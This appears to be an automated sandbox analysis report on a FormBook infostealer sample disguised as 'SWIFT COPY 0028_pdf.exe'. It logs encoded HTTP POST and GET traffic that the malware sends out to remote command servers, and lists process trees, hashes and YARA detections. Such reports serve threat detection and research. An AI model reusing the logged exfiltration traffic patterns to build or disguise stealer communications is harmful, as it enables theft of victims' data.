39 4f 58 55 46 34 79 77 65 6e 45 45 2f 6a 75 51 55 46 65 61 35 59 48 6c 77 54 51 5a 32 36 31 6f 79 4d 67 32 39 33 55 52 6d 54 74 7a 47 45 50 48 33 55 65 4a 34 30 62 2b 33 2b 75 73 4e 52 64 6c 76 51 63 78 42 37 5a 6a 76 39 6d 63 47 73 72 30 34 54 74 48 61 45 48 77 2b 42 78 36 32 63 71 62 4f 7a 48 74 39 47 5a 5a 33 50 42 34 46 5a 70 48 34 6b 2f [TRUNCATED] Data Ascii: GR54yHZ8=ECOol4ZZ4iGTf2v0bcBB1d455V5FHoKAftftYQHiTbx+nDuNKTSV44tz1VirX9CyEK0OA3Whbo0dPMhBYEL0/28mVhiKWKWqQdUli0mR3gDBKBfglV5YVUdZkjPj/AaIWAFncdS1v/SQcGDJmaSklPxktdSXk2Syi02C0uahQX/5VYfJlwUv6itNANI9PmpjE+QVeJNYcnYfhdrK51jWjZ9OXUF4ywenEE/juQUFea5YHlwTQZ261oyMg293URmTtzGEPH3UeJ40b+3+usNRdlvQcxB7Zjv9mcGsr04TtHaEHw+Bx62cqbOzHt9GZZ3PB4FZpH4k/fOSGeefCIo++umuNr8/Xap4WyjGwfS80y7TFy6zOI3+SbXf6C5mi00wlybNIBu7trUcDOE8EQzt10TW/83zie0aKOWoRbEDwx4O0kA0nK9Fay+DbbvFtsX1mBheI3Z+oEEjXfQ8relrOJQrFTnsVfqHtTpyt04nbEnaTW9BvTFLfRomkxOEjqBd+IHz+wqeknjRUWVVudAUt4CayW+Nr+omsBG4s17khl7rm3KR/kBU7+9fvAstdghh++DORuz8Tg7fs7kicmBxEjVZl2vFLr24QHzoqRB32s6ijDKmfmTXACxRAzw90tfOzlCH2DjiPSlXD2nDA3+RBpMytbEDJMG2lvEcfCRiylT9/0x6Uw085rySeHV7XnTw28sUbJZNKfQRPDzzKTOma5DklGhL+ticSKm+yU4pZVFfm6JdRNTW3GPWu3yh65h11SwQAeb77nd446ZBNEietFyZZ1N5zT9R7mgm/GeWnEI1HkHgy5WBx0rhVt76pA4JJrGU7PZ6G96e6d+qfSQmRqAgQ00P3OZtgYWgGquaEGwyS94Hu9NpUbWhSnOU5jWVWHqhMmret/aMeJhmjEPhngkV0b26c288OfpD6Nsvx8BW9lFzMF4vheqtKDsaq65hfhCDsRroYht2qsjM3cmXqFl8OeiB/hsS6ji3VgnZUBz [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.6	50047	13.248.169.48	80	3320	C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:35:08.565615892 CET	558	OUT	GET /lnyv/?GR54yHZ8=JAmImNl6mB+RRlbpbvR3+e423BtxCo3/O8+kCBnAAYB05gHtC1vk8aJbyHyeZvKMcMp3FBCqV/xfRsVXPWDfq0wzcDycBqeORKYOzEG12hWJCinHhVNRLnpziyzgvH+OTjwtfrk=&9xn=fHadNpk8MVax HTTP/1.1 Host: www.optimismbank.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0)
Nov 20, 2024 08:35:09.013777971 CET	417	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Nov 2024 07:35:08 GMT Content-Type: text/html Content-Length: 277 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 47 52 35 34 79 48 5a 38 3d 4a 41 6d 49 6d 4e 6c 36 6d 42 2b 52 52 6c 62 70 62 76 52 33 2b 65 34 32 33 42 74 78 43 6f 33 2f 4f 38 2b 6b 43 42 6e 41 41 59 42 30 35 67 48 74 43 31 76 6b 38 61 4a 62 79 48 79 65 5a 76 4b 4d 63 4d 70 33 46 42 43 71 56 2f 78 66 52 73 56 58 50 57 44 66 71 30 77 7a 63 44 79 63 42 71 65 4f 52 4b 59 4f 7a 45 47 31 32 68 57 4a 43 69 6e 48 68 56 4e 52 4c 6e 70 7a 69 79 7a 67 76 48 2b 4f 54 6a 77 74 66 72 6b 3d 26 39 78 6e 3d 66 48 61 64 4e 70 6b 38 4d 56 61 78 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?GR54yHZ8=JAmImNl6mB+RRlbpbvR3+e423BtxCo3/O8+kCBnAAYB05gHtC1vk8aJbyHyeZvKMcMp3FBCqV/xfRsVXPWDfq0wzcDycBqeORKYOzEG12hWJCinHhVNRLnpziyzgvH+OTjwtfrk=&9xn=fHadNpk8MVax"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.6	50048	104.21.4.93	80	3320	C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:35:14.099303007 CET	828	OUT	POST /ymqd/ HTTP/1.1 Host: www.nonpressure.beauty Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 213 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.nonpressure.beauty Referer: http://www.nonpressure.beauty/ymqd/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0) Data Raw: 47 52 35 34 79 48 5a 38 3d 72 4e 61 61 35 46 2f 63 4c 4a 44 71 64 4f 50 36 6b 68 78 7a 77 35 68 77 6f 7a 6a 68 49 6b 68 30 35 46 33 52 45 39 32 51 4e 54 4c 72 6f 72 68 33 78 30 50 4c 6a 54 48 76 41 49 2b 62 45 61 68 73 70 44 42 6d 74 4d 65 59 73 43 67 63 42 70 63 6a 4f 6d 77 7a 51 69 53 2f 56 43 50 42 36 52 62 37 4b 6c 6a 34 61 6a 34 42 37 78 5a 50 5a 52 32 67 62 54 71 33 4f 33 43 63 4e 35 38 4c 74 2f 6d 55 4c 75 43 30 41 78 79 51 32 34 2b 52 4f 32 35 2f 35 52 66 65 79 6c 4a 6d 55 48 50 5a 31 2f 6e 69 67 4e 64 6e 37 4d 75 32 4e 71 4e 31 6b 56 39 41 4e 34 4e 48 45 77 77 54 7a 4b 42 71 71 74 55 42 38 4a 54 79 41 65 34 53 6e 44 4e 32 Data Ascii: GR54yHZ8=rNaa5F/cLJDqdOP6khxzw5hwozjhIkh05F3RE92QNTLrorh3x0PLjTHvAI+bEahspDBmtMeYsCgcBpcjOmwzQiS/VCPB6Rb7Klj4aj4B7xZPZR2gbTq3O3CcN58Lt/mULuC0AxyQ24+RO25/5RfeylJmUHPZ1/nigNdn7Mu2NqN1kV9AN4NHEwwTzKBqqtUB8JTyAe4SnDN2
Nov 20, 2024 08:35:14.776777029 CET	680	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Nov 2024 07:35:14 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, no-store, must-revalidate Expires: Wed, 20 Nov 2024 07:35:14 GMT Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8e56c31b9a5572ad-EWR Content-Encoding: gzip server-timing: cfL4;desc="?proto=TCP&rtt=1873&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=828&delivery_rate=0&cwnd=246&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 36 66 0d 0a 1f 8b 08 00 00 00 00 00 00 03 5c ce 41 0a 80 30 10 03 c0 7b 5f e1 0b 5c 2b 3d 86 3d 7a f4 0f 6a 8b 2b 68 0b 65 05 fd bd a0 05 c5 6b 32 84 40 74 5b d9 40 c2 e0 19 ba e8 1a d8 35 ae ea 93 56 5d da a3 07 3d 21 e8 26 06 63 f2 27 1b 4c 21 6a c8 0c b1 7f 2f 96 41 a5 36 90 fc e2 38 2f f1 20 5b b7 ae 6e 3e 84 ca 24 dd 5f 2e 00 00 00 ff ff 0d 0a 62 0d 0a e3 02 00 68 e7 b5 eb 93 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6f\A0{_\+==zj+hek2@t[@5V]=!&c'L!j/A68/ [n>$_.bh0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.6	50049	104.21.4.93	80	3320	C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:35:16.647392988 CET	852	OUT	POST /ymqd/ HTTP/1.1 Host: www.nonpressure.beauty Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 237 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.nonpressure.beauty Referer: http://www.nonpressure.beauty/ymqd/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0) Data Raw: 47 52 35 34 79 48 5a 38 3d 72 4e 61 61 35 46 2f 63 4c 4a 44 71 63 74 58 36 6d 41 78 7a 78 5a 68 78 73 44 6a 68 43 45 68 77 35 46 37 52 45 34 57 41 4d 6c 62 72 6f 4f 64 33 79 31 50 4c 6d 54 48 76 4b 6f 2b 53 4a 36 68 5a 70 44 64 41 74 4a 65 59 73 43 63 63 42 70 73 6a 4f 52 6b 77 53 79 53 35 59 69 50 44 6b 68 62 37 4b 6c 6a 34 61 6a 38 72 37 78 52 50 5a 41 47 67 62 32 65 30 51 48 43 66 4d 35 38 4c 36 50 6d 51 4c 75 44 6a 41 77 75 36 32 2b 79 52 4f 7a 64 2f 35 67 66 64 34 6c 4a 67 58 33 4f 75 35 50 61 56 6b 65 34 38 79 50 6d 57 56 62 51 56 6f 44 67 61 52 4c 4e 6b 57 67 51 52 7a 49 5a 59 71 4e 55 72 2b 4a 72 79 53 4a 30 31 6f 33 6f 56 61 48 53 6b 48 44 32 44 30 33 76 6e 30 76 59 72 67 49 6d 64 52 67 3d 3d Data Ascii: GR54yHZ8=rNaa5F/cLJDqctX6mAxzxZhxsDjhCEhw5F7RE4WAMlbroOd3y1PLmTHvKo+SJ6hZpDdAtJeYsCccBpsjORkwSyS5YiPDkhb7Klj4aj8r7xRPZAGgb2e0QHCfM58L6PmQLuDjAwu62+yROzd/5gfd4lJgX3Ou5PaVke48yPmWVbQVoDgaRLNkWgQRzIZYqNUr+JrySJ01o3oVaHSkHD2D03vn0vYrgImdRg==
Nov 20, 2024 08:35:17.312531948 CET	680	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Nov 2024 07:35:17 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, no-store, must-revalidate Expires: Wed, 20 Nov 2024 07:35:17 GMT Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8e56c32b7e48c337-EWR Content-Encoding: gzip server-timing: cfL4;desc="?proto=TCP&rtt=1452&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=852&delivery_rate=0&cwnd=189&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 36 66 0d 0a 1f 8b 08 00 00 00 00 00 00 03 5c ce 41 0a 80 30 10 03 c0 7b 5f e1 0b 5c 2b 3d 86 3d 7a f4 0f 6a 8b 2b 68 0b 65 05 fd bd a0 05 c5 6b 32 84 40 74 5b d9 40 c2 e0 19 ba e8 1a d8 35 ae ea 93 56 5d da a3 07 3d 21 e8 26 06 63 f2 27 1b 4c 21 6a c8 0c b1 7f 2f 96 41 a5 36 90 fc e2 38 2f f1 20 5b b7 ae 6e 3e 84 ca 24 dd 5f 2e 00 00 00 ff ff 0d 0a 62 0d 0a e3 02 00 68 e7 b5 eb 93 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6f\A0{_\+==zj+hek2@t[@5V]=!&c'L!j/A68/ [n>$_.bh0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.6	50050	104.21.4.93	80	3320	C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:35:19.205195904 CET	1865	OUT	POST /ymqd/ HTTP/1.1 Host: www.nonpressure.beauty Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 1249 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.nonpressure.beauty Referer: http://www.nonpressure.beauty/ymqd/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0) Data Raw: 47 52 35 34 79 48 5a 38 3d 72 4e 61 61 35 46 2f 63 4c 4a 44 71 63 74 58 36 6d 41 78 7a 78 5a 68 78 73 44 6a 68 43 45 68 77 35 46 37 52 45 34 57 41 4d 6c 54 72 6f 62 52 33 30 6d 6e 4c 68 54 48 76 4d 59 2b 66 4a 36 68 41 70 44 56 63 74 4a 61 69 73 48 59 63 44 4b 6b 6a 49 6a 63 77 49 69 53 35 48 79 50 65 36 52 62 75 4b 6c 7a 30 61 69 4d 72 37 78 52 50 5a 43 65 67 53 44 71 30 53 48 43 63 4e 35 38 35 74 2f 6e 33 4c 75 72 7a 41 7a 43 41 31 4f 53 52 4f 54 4e 2f 69 32 44 64 6c 31 4a 69 65 6e 4f 32 35 50 57 4b 6b 65 55 77 79 4d 36 73 56 5a 4d 56 73 57 78 38 4b 66 4a 76 48 78 67 70 71 5a 31 2f 6d 62 67 47 2f 35 76 51 43 2f 31 42 71 58 73 67 65 78 53 69 4d 77 50 69 38 30 37 4f 78 4b 30 2f 31 72 4c 44 44 79 73 4e 6a 5a 79 39 47 56 72 4e 79 76 72 56 6d 74 2b 66 77 51 56 46 6c 4f 42 79 66 6e 54 6d 53 4a 78 49 34 74 32 37 61 71 67 2f 45 63 74 33 62 70 72 4c 43 32 4b 79 6c 6d 43 4e 33 57 51 33 34 37 33 59 50 32 4f 5a 79 4c 70 65 6d 47 7a 6e 70 66 54 6a 61 6c 55 58 37 44 52 53 41 52 52 6e 30 6d 67 77 47 59 63 70 6e [TRUNCATED] Data Ascii: GR54yHZ8=rNaa5F/cLJDqctX6mAxzxZhxsDjhCEhw5F7RE4WAMlTrobR30mnLhTHvMY+fJ6hApDVctJaisHYcDKkjIjcwIiS5HyPe6RbuKlz0aiMr7xRPZCegSDq0SHCcN585t/n3LurzAzCA1OSROTN/i2Ddl1JienO25PWKkeUwyM6sVZMVsWx8KfJvHxgpqZ1/mbgG/5vQC/1BqXsgexSiMwPi807OxK0/1rLDDysNjZy9GVrNyvrVmt+fwQVFlOByfnTmSJxI4t27aqg/Ect3bprLC2KylmCN3WQ3473YP2OZyLpemGznpfTjalUX7DRSARRn0mgwGYcpn4yqp/q7Q7ZlksKJeXpsop6bAjc7T22HKrQkVrpX/IyBu+nZ+2tioUymJjsOE2gUtd0Fpa2YOabPAdfV7MRC8v2sobcYOqiJY7Md1+LWOn9inxvhRlMccqa8DSI/zBkXsGCCXLe928h9y/q4mbv6TT7TkUl2baQxotnM9jNx2O4lDGIzIsY8t8zKM1Eum9vA/SfxgsBpkoYGNmoztkZ1mj9gk0F2AOSLQZTu4Adg8MxpR34P5EBz+0efpbqX8k9jzdlmO5hCaAqMe0/Wlmoiv9LFw/QV2dsZ9c0ubKx5AjI/QeXmpRXyGghZ9vAIhL50irHVPK03S/s5TSh91lygrheE+QkwXoetEJHEr3j+cNZ4LFh46/z6ESVY/LIhNYDWWKYU08TxuhM2EoyiozmuuOfA6AfleLgUclt2nDZIYxNykD0oOknTf3NxobVfuy4R/jatTnmNPdP523y0IVHtFGpiXw6g7TuIwecMpyJAJPjE7hRBv7KwaX+MpXYOY6CDWriCejT4a7TxhFqAV7ggACBHPB1MhuLzTyl6Fg0M/NY3djc88q/ezgNTf/IC3RW4jw1gmb4v40O76tzUcxfSWX3UNf4rJeCRxwyyyhDyDCweRMiVsz1u0tB+X0peoV1BGHx/TpsondU06uvKnk+pngxACt9PJ7lSefg [TRUNCATED]
Nov 20, 2024 08:35:19.855067968 CET	676	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Nov 2024 07:35:19 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, no-store, must-revalidate Expires: Wed, 20 Nov 2024 07:35:19 GMT Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8e56c33b6aa5c439-EWR Content-Encoding: gzip server-timing: cfL4;desc="?proto=TCP&rtt=1499&sent=1&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=1865&delivery_rate=0&cwnd=205&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 36 66 0d 0a 1f 8b 08 00 00 00 00 00 00 03 5c ce 41 0a 80 30 10 03 c0 7b 5f e1 0b 5c 2b 3d 86 3d 7a f4 0f 6a 8b 2b 68 0b 65 05 fd bd a0 05 c5 6b 32 84 40 74 5b d9 40 c2 e0 19 ba e8 1a d8 35 ae ea 93 56 5d da a3 07 3d 21 e8 26 06 63 f2 27 1b 4c 21 6a c8 0c b1 7f 2f 96 41 a5 36 90 fc e2 38 2f f1 20 5b b7 ae 6e 3e 84 ca 24 dd 5f 2e 00 00 00 ff ff 0d 0a 62 0d 0a e3 02 00 68 e7 b5 eb 93 00 00 00 0d 0a Data Ascii: 6f\A0{_\+==zj+hek2@t[@5V]=!&c'L!j/A68/ [n>$_.bh
Nov 20, 2024 08:35:19.855386972 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.6	50051	104.21.4.93	80	3320	C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:35:21.755423069 CET	560	OUT	GET /ymqd/?GR54yHZ8=mPy66x3IfJKracCH7wZR1aUAlhDvAV8zvELzb8KITnbno7Ubu3OHpx/EILO3OYxVnkt90JirtFkeXZQsCCcXJBbLSRzz4hD+Fif5IhUF/AIFPB6kYSO8O2aHFbYKqoGjWs62c28=&9xn=fHadNpk8MVax HTTP/1.1 Host: www.nonpressure.beauty Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0)
Nov 20, 2024 08:35:22.429676056 CET	676	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Nov 2024 07:35:22 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, no-store, must-revalidate Expires: Wed, 20 Nov 2024 07:35:22 GMT Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8e56c34b793d7291-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1809&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=560&delivery_rate=0&cwnd=216&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 33 0d 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 0a 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 93<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0</center></body></html>0

Target ID:	0
Start time:	02:31:16
Start date:	20/11/2024
Path:	C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe"
Imagebase:	0x920000
File size:	1'217'536 bytes
MD5 hash:	AA99009FF8C996CCEFD78EB8A4CE1D7E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	2
Start time:	02:31:18
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe"
Imagebase:	0x570000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.2315508419.00000000049A0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.2314669018.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.2316526821.0000000006480000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Target ID:	3
Start time:	02:31:26
Start date:	20/11/2024
Path:	C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe"
Imagebase:	0x6c0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.4613219723.0000000002D70000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Target ID:	4
Start time:	02:31:28
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\rasautou.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\rasautou.exe"
Imagebase:	0x290000
File size:	15'360 bytes
MD5 hash:	DFDBEDC2ED47CBABC13CCC64E97868F3
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.4613350413.0000000004B70000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.4602405101.0000000002E50000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.4613399783.0000000004BC0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Target ID:	6
Start time:	02:31:42
Start date:	20/11/2024
Path:	C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe"
Imagebase:	0x6c0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.4613324935.0000000002D70000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Target ID:	9
Start time:	02:31:54
Start date:	20/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true